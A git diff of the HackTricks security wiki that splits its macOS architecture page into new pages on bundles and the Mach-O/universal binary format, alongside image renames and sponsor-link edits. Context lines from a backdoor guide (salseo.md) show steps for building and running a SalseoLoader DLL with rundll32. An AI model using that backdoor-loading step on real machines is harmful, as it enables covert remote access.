diff --git a/.gitbook/assets/image (1) (1) (2) (2).png b/.gitbook/assets/image (1) (1) (2) (2).png new file mode 100644 index 00000000..ae902527 Binary files /dev/null and b/.gitbook/assets/image (1) (1) (2) (2).png differ diff --git a/.gitbook/assets/image (1) (1) (2).png b/.gitbook/assets/image (1) (1) (2).png index ae902527..76ed9278 100644 Binary files a/.gitbook/assets/image (1) (1) (2).png and b/.gitbook/assets/image (1) (1) (2).png differ diff --git a/.gitbook/assets/image (1) (1).png b/.gitbook/assets/image (1) (1).png index 76ed9278..afcc6243 100644 Binary files a/.gitbook/assets/image (1) (1).png and b/.gitbook/assets/image (1) (1).png differ diff --git a/.gitbook/assets/image (1).png b/.gitbook/assets/image (1).png index afcc6243..70720ad1 100644 Binary files a/.gitbook/assets/image (1).png and b/.gitbook/assets/image (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1).png new file mode 100644 index 00000000..eaa792ed Binary files /dev/null and b/.gitbook/assets/image (2) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1).png b/.gitbook/assets/image (2) (1) (1).png index eaa792ed..c3ffd553 100644 Binary files a/.gitbook/assets/image (2) (1) (1).png and b/.gitbook/assets/image (2) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1).png b/.gitbook/assets/image (2) (1).png index c3ffd553..163b502d 100644 Binary files a/.gitbook/assets/image (2) (1).png and b/.gitbook/assets/image (2) (1).png differ diff --git a/.gitbook/assets/image (2).png b/.gitbook/assets/image (2).png index 163b502d..e3b3dbe9 100644 Binary files a/.gitbook/assets/image (2).png and b/.gitbook/assets/image (2).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (2).png b/.gitbook/assets/image (3) (1) (1) (2).png new file mode 100644 index 00000000..371b8113 Binary files /dev/null and b/.gitbook/assets/image (3) (1) (1) (2).png differ diff --git a/.gitbook/assets/image (3) (1) (1).png b/.gitbook/assets/image (3) (1) (1).png index 371b8113..c65f8a06 100644 Binary files a/.gitbook/assets/image (3) (1) (1).png and b/.gitbook/assets/image (3) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1).png b/.gitbook/assets/image (3) (1).png index c65f8a06..eb57ea91 100644 Binary files a/.gitbook/assets/image (3) (1).png and b/.gitbook/assets/image (3) (1).png differ diff --git a/.gitbook/assets/image (3).png b/.gitbook/assets/image (3).png index eb57ea91..6874f9c8 100644 Binary files a/.gitbook/assets/image (3).png and b/.gitbook/assets/image (3).png differ diff --git a/.gitbook/assets/image (4) (2) (1) (1).png b/.gitbook/assets/image (4) (2) (1) (1).png new file mode 100644 index 00000000..78754428 Binary files /dev/null and b/.gitbook/assets/image (4) (2) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (2) (1).png b/.gitbook/assets/image (4) (2) (1).png index 78754428..f08703cb 100644 Binary files a/.gitbook/assets/image (4) (2) (1).png and b/.gitbook/assets/image (4) (2) (1).png differ diff --git a/.gitbook/assets/image (4) (2).png b/.gitbook/assets/image (4) (2).png index f08703cb..fce3191e 100644 Binary files a/.gitbook/assets/image (4) (2).png and b/.gitbook/assets/image (4) (2).png differ diff --git a/.gitbook/assets/image (4).png b/.gitbook/assets/image (4).png index fce3191e..955989ee 100644 Binary files a/.gitbook/assets/image (4).png and b/.gitbook/assets/image (4).png differ diff --git a/.gitbook/assets/image (5) (2) (3).png b/.gitbook/assets/image (5) (2) (3).png new file mode 100644 index 00000000..8d941766 Binary files /dev/null and b/.gitbook/assets/image (5) (2) (3).png differ diff --git a/.gitbook/assets/image (5) (2).png b/.gitbook/assets/image (5) (2).png index 8d941766..17aedd90 100644 Binary files a/.gitbook/assets/image (5) (2).png and b/.gitbook/assets/image (5) (2).png differ diff --git a/.gitbook/assets/image (5).png b/.gitbook/assets/image (5).png index 17aedd90..4642e658 100644 Binary files a/.gitbook/assets/image (5).png and b/.gitbook/assets/image (5).png differ diff --git a/.gitbook/assets/image (6) (4).png b/.gitbook/assets/image (6) (4).png new file mode 100644 index 00000000..7191ffb6 Binary files /dev/null and b/.gitbook/assets/image (6) (4).png differ diff --git a/.gitbook/assets/image (6).png b/.gitbook/assets/image (6).png index 7191ffb6..345e6bee 100644 Binary files a/.gitbook/assets/image (6).png and b/.gitbook/assets/image (6).png differ diff --git a/.gitbook/assets/image.png b/.gitbook/assets/image.png index 70720ad1..31be6597 100644 Binary files a/.gitbook/assets/image.png and b/.gitbook/assets/image.png differ diff --git a/README.md b/README.md index 6b5a5bf3..2b070057 100644 --- a/README.md +++ b/README.md @@ -75,7 +75,7 @@ Get Access Today: ### -
+
@@ -97,7 +97,7 @@ In addition to the above WebSec is also a **committed supporter of HackTricks.** ### [DragonJAR](https://www.dragonjar.org/) -
+
[**DragonJAR is a leading offensive cybersecurity company**](https://www.dragonjar.org/) **located in Colombia**. DragonJAR offers [comprehensive offensive cybersecurity services, such as **pentesting**](https://www.dragonjar.org/servicios-de-seguridad-informatica) in various areas and practically **any technology**, **Red Team** attack simulations, **physical** security testing, **stress testing**, social engineering, source **code security review**, and cybersecurity training. Additionally, they organize the **DragonJAR Security Conference**, [an international cybersecurity congress](https://www.dragonjarcon.org/) that has been held for over a decade, becoming a showcase for the latest security research in Spanish and of great relevance in the region. diff --git a/SUMMARY.md b/SUMMARY.md index 2b7e9827..aeb4b048 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -138,7 +138,9 @@ ## 🍏 MacOS Hardening * [MacOS Security & Privilege Escalation](macos-hardening/macos-security-and-privilege-escalation/README.md) - * [Mac OS Architecture](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture.md) + * [Mac OS Architecture](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md) + * [macOS Bundles](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-bundles.md) + * [Universal binaries & Mach-O Format](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/universal-binaries-and-mach-o-format.md) * [MacOS MDM](macos-hardening/macos-security-and-privilege-escalation/macos-mdm/README.md) * [Enrolling Devices in Other Organisations](macos-hardening/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md) * [MacOS Protocols](macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md) diff --git a/backdoors/salseo.md b/backdoors/salseo.md index 2ebd8ff1..f1604d90 100644 --- a/backdoors/salseo.md +++ b/backdoors/salseo.md @@ -7,7 +7,7 @@ * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). @@ -99,7 +99,7 @@ Open the SalseoLoader project using Visual Studio. ### Add before the main function: \[DllExport] -![](<../.gitbook/assets/image (2) (1) (1).png>) +![](<../.gitbook/assets/image (2) (1) (1) (1).png>) ### Install DllExport for this project @@ -192,7 +192,7 @@ rundll32.exe SalseoLoader.dll,main * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/macos-hardening/macos-security-and-privilege-escalation/README.md b/macos-hardening/macos-security-and-privilege-escalation/README.md index 23c8a1ba..fdd13054 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -110,22 +110,9 @@ On the **left**, there is the directory path on the **System volume**, and on th ### macOS Bundles -The goal of a **bundle** is to have **all the resources** the application needs in a **single location**: executables, resource files, metadata, and unique dylibs or custom frameworks. \ -The **common** frequent bundle we will encounter is the **`.app` bundle**, but many other executables are also packaged as bundles, such as **`.framework`** and **`.systemextension`**. - -```shell-session -% ls /Applications/Signal.app -Contents - -% ls /Applications/Signal.app/Contents -CodeResources Frameworks Info.plist MacOS PkgInfo Resources _CodeSignature - -% ls /Applications/Signal.app/Contents/MacOS #Here is the executable -Signal - -% # You can find a .framework bundle example in: -% ls -l /System/Library/Frameworks/AVFoundation.framework -``` +{% content-ref url="mac-os-architecture/macos-bundles.md" %} +[macos-bundles.md](mac-os-architecture/macos-bundles.md) +{% endcontent-ref %} ### Common users @@ -233,8 +220,8 @@ printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharin ### MacOS Architecture -{% content-ref url="mac-os-architecture.md" %} -[mac-os-architecture.md](mac-os-architecture.md) +{% content-ref url="mac-os-architecture/" %} +[mac-os-architecture](mac-os-architecture/) {% endcontent-ref %} ### MacOS Serial Number @@ -670,7 +657,7 @@ kextunload /path/to/kext.kext kextunload -b com.apple.driver.ExampleBundle ``` -For more information about [**kernel extensions check this section**](mac-os-architecture.md#i-o-kit-drivers). +For more information about [**kernel extensions check this section**](mac-os-architecture/#i-o-kit-drivers). ### **Login Items** diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md similarity index 59% rename from macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture.md rename to macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md index b65f2e2a..835db61c 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture.md +++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md @@ -1,7 +1,5 @@ # Mac OS Architecture -## Mac OS Architecture -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 @@ -109,215 +107,17 @@ A kernel without applications isn’t very useful. **Darwin** is the non-Aqua, * On the **other** hand, many familiar pieces of Mac OS X are **not open source**. The main missing piece to someone running just the Darwin code will be **Aqua**, the **Mac OS X windowing and graphical-interface environment**. Additionally, most of the common **high-level applications**, such as Safari, Mail, QuickTime, iChat, etc., are not open source (although some of their components are open source). Interestingly, these closed-source applications often **rely on open- source software**, for example, Safari relies on the WebKit project for HTML and JavaScript rendering. **For perhaps this reason, you also typically have many more symbols in these applications when debugging than you would in a Windows environment.** -### **Universal binaries** +### **Universal binaries &** Mach-o Format -Mac OS binaries usually are compiled as universal binaries. A **universal binary** can **support multiple architectures in the same file**. - -```bash -file /bin/ls -/bin/ls: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] [arm64e:Mach-O 64-bit executable arm64e] -/bin/ls (for architecture x86_64): Mach-O 64-bit executable x86_64 -/bin/ls (for architecture arm64e): Mach-O 64-bit executable arm64e -``` - -In the following example, a universal binary for the **x86** **and** **PowerPC** architectures is created: - -```bash -gcc -arch ppc -arch i386 -o test-universal test.c -``` - -As you may be thinking usually a universal binary compiled for 2 architectures **doubles the size** of one compiled for just 1 arch. - -### Mach-o Format - -![](<../../.gitbook/assets/image (559).png>) - -**mach Header** - -The header contains basic information about the file, such as magic bytes to identify it as a Mach-O file and information about the target architecture. You can find it in: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"` - -```c -struct mach_header { - uint32_t magic; /* mach magic number identifier */ - cpu_type_t cputype; /* cpu specifier (e.g. I386) */ - cpu_subtype_t cpusubtype; /* machine specifier */ - uint32_t filetype; /* type of file (usage and alignment for the file) */ - uint32_t ncmds; /* number of load commands */ - uint32_t sizeofcmds; /* the size of all the load commands */ - uint32_t flags; /* flags */ -}; -``` - -Filetypes: - -* MH\_EXECUTE (0x2): Standard Mach-O executable -* MH\_DYLIB (0x6): A Mach-O dynamic linked library (i.e. .dylib) -* MH\_BUNDLE (0x8): A Mach-O bundle (i.e. .bundle) - -#### fat Header - -Search for the file with: `mdfind fat.h | grep -i mach-o | grep -E "fat.h$"` - -
#define FAT_MAGIC	0xcafebabe
-#define FAT_CIGAM	0xbebafeca	/* NXSwapLong(FAT_MAGIC) */
-
-struct fat_header {
-	uint32_t	magic;		/* FAT_MAGIC or FAT_MAGIC_64 */
-	uint32_t	nfat_arch;	/* number of structs that follow */
-};
-
-struct fat_arch {
-	cpu_type_t	cputype;	/* cpu specifier (int) */
-	cpu_subtype_t	cpusubtype;	/* machine specifier (int) */
-	uint32_t	offset;		/* file offset to this object file */
-	uint32_t	size;		/* size of this object file */
-	uint32_t	align;		/* alignment as a power of 2 */
-};
-
- -The header has the **magic** bytes followed by the **number** of **archs** the file **contains** (`nfat_arch`) and each arch will have a `fat_arch` struct. - -Check it with: - -
% file /bin/ls
-/bin/ls: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] [arm64e:Mach-O 64-bit executable arm64e]
-/bin/ls (for architecture x86_64):	Mach-O 64-bit executable x86_64
-/bin/ls (for architecture arm64e):	Mach-O 64-bit executable arm64e
-
-% otool -f -v /bin/ls
-Fat headers
-fat_magic FAT_MAGIC
-nfat_arch 2
-architecture x86_64
-    cputype CPU_TYPE_X86_64
-    cpusubtype CPU_SUBTYPE_X86_64_ALL
-    capabilities 0x0
-    offset 16384
-    size 72896
-    align 2^14 (16384)
-architecture arm64e
-    cputype CPU_TYPE_ARM64
-    cpusubtype CPU_SUBTYPE_ARM64E
-    capabilities PTR_AUTH_VERSION USERSPACE 0
-    offset 98304
-    size 88816
-    align 2^14 (16384)
-
- -**Load commands** - -This specifies the **layout of the file in memory**. It contains the **location of the symbol table**, the main thread context at the beginning of execution, and which **shared libraries** are required.\ -The commands basically instruct the dynamic loader **(dyld) how to load the binary in memory.** - -Load commands all begin with a **load\_command** structure, defined in mach-o/loader.h: - -```objectivec -struct load_command { - uint32_t cmd; /* type of load command */ - uint32_t cmdsize; /* total size of command in bytes */ -}; -``` - -A **common** type of load command is **LC\_SEGMENT/LC\_SEGMENT\_64**, which **describes** a **segment:**\ -_A segment defines a **range of bytes** in a Mach-O file and the **addresses** and **memory**_ _**protection**_ _**attributes** at which those bytes are **mapped into** virtual memory when the dynamic linker loads the application._ - -![](<../../.gitbook/assets/image (557).png>) - -Common segments: - -* **`__TEXT`**: Contains **executable** **code** and **data** that is **read-only.** Common sections of this segment: - * `__text`: Compiled binary code - * `__const`: Constant data - * `__cstring`: String constants -* **`__DATA`**: Contains data that is **writable.** - * `__data`: Global variables (that have been initialized) - * `__bss`: Static variables (that have not been initialized) - * `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, etc): Information used by the Objective-C runtime -* **`__LINKEDIT`**: Contains information for the linker (dyld) such as, "symbol, string, and relocation table entries." -* **`__OBJC`**: Contains information used by the Objective-C runtime. Though this information might also be found in the \_\_DATA segment, within various in \_\_objc\_\* sections. -* **`LC_MAIN`**: Contains the entrypoint in the **entryoff attribute.** At load time, **dyld** simply **adds** this value to the (in-memory) **base of the binary**, then **jumps** to this instruction to kickoff execution of the binary’s code. -* **`LC_LOAD_DYLIB`**: This load command describes a **dynamic** **library** dependency which **instructs** the **loader** (dyld) to l**oad and link said library**. There is a LC\_LOAD\_DYLIB load command **for each library** that the Mach-O binary requires. - - * This load command is a structure of type **`dylib_command`** (which contains a struct dylib, describing the actual dependent dynamic library): - - ```objectivec - struct dylib_command { - uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */ - uint32_t cmdsize; /* includes pathname string */ - struct dylib dylib; /* the library identification */ - }; - - struct dylib { - union lc_str name; /* library's path name */ - uint32_t timestamp; /* library's build time stamp */ - uint32_t current_version; /* library's current version number */ - uint32_t compatibility_version; /* library's compatibility vers number*/ - }; - ``` - -![](<../../.gitbook/assets/image (558).png>) - -Some potential malware related libraries are: - -* **DiskArbitration**: Monitoring USB drives -* **AVFoundation:** Capture audio and video -* **CoreWLAN**: Wifi scans. - -{% hint style="info" %} -A Mach-O binary can contain one or **more** **constructors**, that will be **executed** **before** the address specified in **LC\_MAIN**.\ -The offsets of any constructors are held in the **\_\_mod\_init\_func** section of the **\_\_DATA\_CONST** segment. -{% endhint %} - -**Data** - -The heart of the file is the final region, the data, which consists of a number of segments as laid out in the load-commands region. **Each segment can contain a number of data sections**. Each of these sections **contains code or data** of one particular type. - -![](<../../.gitbook/assets/image (507) (3).png>) - -**Get the info** - -```bash -otool -f /bin/ls #Get universal headers info -otool -hv /bin/ls #Get the Mach header -otool -l /bin/ls #Get Load commands -otool -L /bin/ls #Get libraries used by the binary -``` - -Or you can use the GUI tool [**machoview**](https://sourceforge.net/projects/machoview/). +{% content-ref url="universal-binaries-and-mach-o-format.md" %} +[universal-binaries-and-mach-o-format.md](universal-binaries-and-mach-o-format.md) +{% endcontent-ref %} ### Bundles -Basically, a bundle is a **directory structure** within the file system. Interestingly, by default this directory **looks like a single object in Finder**. The types of resources contained within a bundle may consist of applications, libraries, images, documentation, header files, etc. All these files are inside `.app/Contents/` - -```bash -ls -lR /Applications/Safari.app/Contents -``` - -* `Contents/_CodeSignature` - - Contains **code-signing information** about the application (i.e., hashes, etc.). -* `Contents/MacOS` - - Contains the **application’s binary** (which is executed when the user double-clicks the application icon in the UI). -* `Contents/Resources` - - Contains **UI elements of the application**, such as images, documents, and nib/xib files (that describe various user interfaces). -* `Contents/Info.plist`\ - The application’s main “**configuration file.**” Apple notes that “the system relies on the presence of this file to identify relevant information about \[the] application and any related files”. - * **Plist** **files** contains configuration information. You can find find information about the meaning of they plist keys in [https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html) - * Pairs that may be of interest when analyzing an application include:\\ - - * **CFBundleExecutable** - - Contains the **name of the application’s binary** (found in Contents/MacOS). - - * **CFBundleIdentifier** - - Contains the application’s bundle identifier (often used by the system to **globally** **identify** the application). - - * **LSMinimumSystemVersion** - - Contains the **oldest** **version** of **macOS** that the application is compatible with. +{% content-ref url="macos-bundles.md" %} +[macos-bundles.md](macos-bundles.md) +{% endcontent-ref %} ### Objective-C diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-bundles.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-bundles.md new file mode 100644 index 00000000..d5afc201 --- /dev/null +++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-bundles.md @@ -0,0 +1,63 @@ +# macOS Bundles + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). + +
+ +## Basic Information + +Basically, a bundle is a **directory structure** within the file system. Interestingly, by default this directory **looks like a single object in Finder**. + +The **common** frequent bundle we will encounter is the **`.app` bundle**, but many other executables are also packaged as bundles, such as **`.framework`** and **`.systemextension`**. + +The types of resources contained within a bundle may consist of applications, libraries, images, documentation, header files, etc. All these files are inside `.app/Contents/` + +```bash +ls -lR /Applications/Safari.app/Contents +``` + +* `Contents/_CodeSignature` + + Contains **code-signing information** about the application (i.e., hashes, etc.). +* `Contents/MacOS` + + Contains the **application’s binary** (which is executed when the user double-clicks the application icon in the UI). +* `Contents/Resources` + + Contains **UI elements of the application**, such as images, documents, and nib/xib files (that describe various user interfaces). +* `Contents/Info.plist`\ + The application’s main “**configuration file.**” Apple notes that “the system relies on the presence of this file to identify relevant information about \[the] application and any related files”. + * **Plist** **files** contains configuration information. You can find find information about the meaning of they plist keys in [https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html) + * Pairs that may be of interest when analyzing an application include:\\ + + * **CFBundleExecutable** + + Contains the **name of the application’s binary** (found in Contents/MacOS). + + * **CFBundleIdentifier** + + Contains the application’s bundle identifier (often used by the system to **globally** **identify** the application). + + * **LSMinimumSystemVersion** + + Contains the **oldest** **version** of **macOS** that the application is compatible with. + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). + +
diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/universal-binaries-and-mach-o-format.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/universal-binaries-and-mach-o-format.md new file mode 100644 index 00000000..35bacad9 --- /dev/null +++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/universal-binaries-and-mach-o-format.md @@ -0,0 +1,322 @@ +# Universal binaries & Mach-O Format + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). + +
+ +## Basic Information + +Mac OS binaries usually are compiled as **universal binaries**. A **universal binary** can **support multiple architectures in the same file**. + +These binaries follows the **Mach-O structure** which is basically compased of: + +* Header +* Load Commands +* Data + +![](<../../../.gitbook/assets/image (559).png>) + +## Fat Header + +Search for the file with: `mdfind fat.h | grep -i mach-o | grep -E "fat.h$"` + +
#define FAT_MAGIC	0xcafebabe
+#define FAT_CIGAM	0xbebafeca	/* NXSwapLong(FAT_MAGIC) */
+
+struct fat_header {
+	uint32_t	magic;		/* FAT_MAGIC or FAT_MAGIC_64 */
+	uint32_t	nfat_arch;	/* number of structs that follow */
+};
+
+struct fat_arch {
+	cpu_type_t	cputype;	/* cpu specifier (int) */
+	cpu_subtype_t	cpusubtype;	/* machine specifier (int) */
+	uint32_t	offset;		/* file offset to this object file */
+	uint32_t	size;		/* size of this object file */
+	uint32_t	align;		/* alignment as a power of 2 */
+};
+
+ +The header has the **magic** bytes followed by the **number** of **archs** the file **contains** (`nfat_arch`) and each arch will have a `fat_arch` struct. + +Check it with: + +
% file /bin/ls
+/bin/ls: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] [arm64e:Mach-O 64-bit executable arm64e]
+/bin/ls (for architecture x86_64):	Mach-O 64-bit executable x86_64
+/bin/ls (for architecture arm64e):	Mach-O 64-bit executable arm64e
+
+% otool -f -v /bin/ls
+Fat headers
+fat_magic FAT_MAGIC
+nfat_arch 2
+architecture x86_64
+    cputype CPU_TYPE_X86_64
+    cpusubtype CPU_SUBTYPE_X86_64_ALL
+    capabilities 0x0
+    offset 16384
+    size 72896
+    align 2^14 (16384)
+architecture arm64e
+    cputype CPU_TYPE_ARM64
+    cpusubtype CPU_SUBTYPE_ARM64E
+    capabilities PTR_AUTH_VERSION USERSPACE 0
+    offset 98304
+    size 88816
+    align 2^14 (16384)
+
+ +or using the [Mach-O View](https://sourceforge.net/projects/machoview/) tool: + +
+ +As you may be thinking usually a universal binary compiled for 2 architectures **doubles the size** of one compiled for just 1 arch. + +## **Mach-O Header** + +The header contains basic information about the file, such as magic bytes to identify it as a Mach-O file and information about the target architecture. You can find it in: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"` + +```c +#define MH_MAGIC 0xfeedface /* the mach magic number */ +#define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */ +struct mach_header { + uint32_t magic; /* mach magic number identifier */ + cpu_type_t cputype; /* cpu specifier (e.g. I386) */ + cpu_subtype_t cpusubtype; /* machine specifier */ + uint32_t filetype; /* type of file (usage and alignment for the file) */ + uint32_t ncmds; /* number of load commands */ + uint32_t sizeofcmds; /* the size of all the load commands */ + uint32_t flags; /* flags */ +}; + +#define MH_MAGIC_64 0xfeedfacf /* the 64-bit mach magic number */ +#define MH_CIGAM_64 0xcffaedfe /* NXSwapInt(MH_MAGIC_64) */ +struct mach_header_64 { + uint32_t magic; /* mach magic number identifier */ + int32_t cputype; /* cpu specifier */ + int32_t cpusubtype; /* machine specifier */ + uint32_t filetype; /* type of file */ + uint32_t ncmds; /* number of load commands */ + uint32_t sizeofcmds; /* the size of all the load commands */ + uint32_t flags; /* flags */ + uint32_t reserved; /* reserved */ +}; +``` + +**Filetypes**: + +* MH\_EXECUTE (0x2): Standard Mach-O executable +* MH\_DYLIB (0x6): A Mach-O dynamic linked library (i.e. .dylib) +* MH\_BUNDLE (0x8): A Mach-O bundle (i.e. .bundle) + +```bash +# Checking the mac header of a binary +otool -arch arm64e -hv /bin/ls +Mach header + magic cputype cpusubtype caps filetype ncmds sizeofcmds flags +MH_MAGIC_64 ARM64 E USR00 EXECUTE 19 1728 NOUNDEFS DYLDLINK TWOLEVEL PIE +``` + +Or using [Mach-O View](https://sourceforge.net/projects/machoview/): + +
